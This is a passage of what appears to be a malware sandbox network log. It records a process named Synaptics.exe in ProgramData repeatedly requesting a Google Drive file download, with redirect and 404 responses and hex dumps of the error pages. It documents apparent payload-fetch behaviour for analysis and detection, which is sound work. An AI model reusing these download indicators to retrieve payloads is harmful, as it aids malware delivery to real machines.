0;max-width:390px;min-height:180px;
2025-01-02 19:28:53 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49815	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:53 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49816	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:53 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49821	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:53 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49831	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:54 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-bnkYFK9oHRkljUcfNKK7Dw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49832	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:54 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:55 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-C6fIL1YWQurh9J3sHYVGNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49840	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:55 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:28:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-MIYKy7qFnPttSA9sRnPX3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49839	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:55 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:56 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5GrKxLaq86KQt_GLnYGt8Si4wgr5nMSiK0NgJJBz2hJum9st7AcNCqbKoXi5OafKM4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:56 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-tMz8q7_vdm_InKxcQ9v8sQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:56 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:56 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 62 5f 32 51 2d 34 46 38 6f 4d 65 4c 58 56 61 65 47 51 38 49 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Hb_2Q-4F8oMeLXVaeGQ8Ig">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:56 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49841	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:55 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:56 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7SG9ueF-zDUEHGjDaMlVzNK3MtgdWfy_NsfeNaz-Bd8LWbw6gYZ6CWjYUZOGsj8Epz00vD3lk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:56 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0Q7aIy2pj2g5MfqRwuEnfA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:56 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:56 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 32 51 41 6a 41 39 78 79 4a 64 41 32 2d 62 6d 67 6e 69 76 53 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="f2QAjA9xyJdA2-bmgnivSA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:56 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49842	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:55 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Z8ISdsaDgeQ-R92528VnVtLURB30Y38-aVS--eidvIefqkCEPr3CIShwBqvQNChxi78jJs_B6El_WOypI3n11rvYfqf5fJH8w9cnwSg4NbUzFQTFVkPa-k6AAbvGWHeJ6bZIGGecF_hCji0wmUDxwNYOPzmKmt0jaFEwuZae5k0dUpTZ8SV0SQRO
2025-01-02 19:28:56 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:56 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-JTZdwXGdZSZA1sdnoTQiWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49850	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:56 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Z8ISdsaDgeQ-R92528VnVtLURB30Y38-aVS--eidvIefqkCEPr3CIShwBqvQNChxi78jJs_B6El_WOypI3n11rvYfqf5fJH8w9cnwSg4NbUzFQTFVkPa-k6AAbvGWHeJ6bZIGGecF_hCji0wmUDxwNYOPzmKmt0jaFEwuZae5k0dUpTZ8SV0SQRO
2025-01-02 19:28:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jmV4eCwBoisZQOtpeNoR8Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49851	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:56 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=O3h5K0Mlym-rrLjhzGpk4j7uTinDx0L_6UzibdP1RDC_dxub7vgJKYEHbgEy2EUzTv6j_Scn4-yJmKWdQ7GPwv8A4sHSmxpOkYMPAnFnYaMPENGOIsuDmm1Y5WSmNZAxu3tfYoY7sv5Qty8H7UJa53mIoIRZkFIVFgAxzxyrueB1f-dHIGAb-TA
2025-01-02 19:28:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-TV62abhGoSoxMNute-ZEqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49852	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:57 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:28:57 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7fQXYwYUAmjIR0fCsZxyzUNZbORc4_O-SRT--4C--80aig3iDBHJ29JWsmlW61Fdsh Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:57 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-lpMgTfAJ1jrHdA8-IrWTTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:57 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
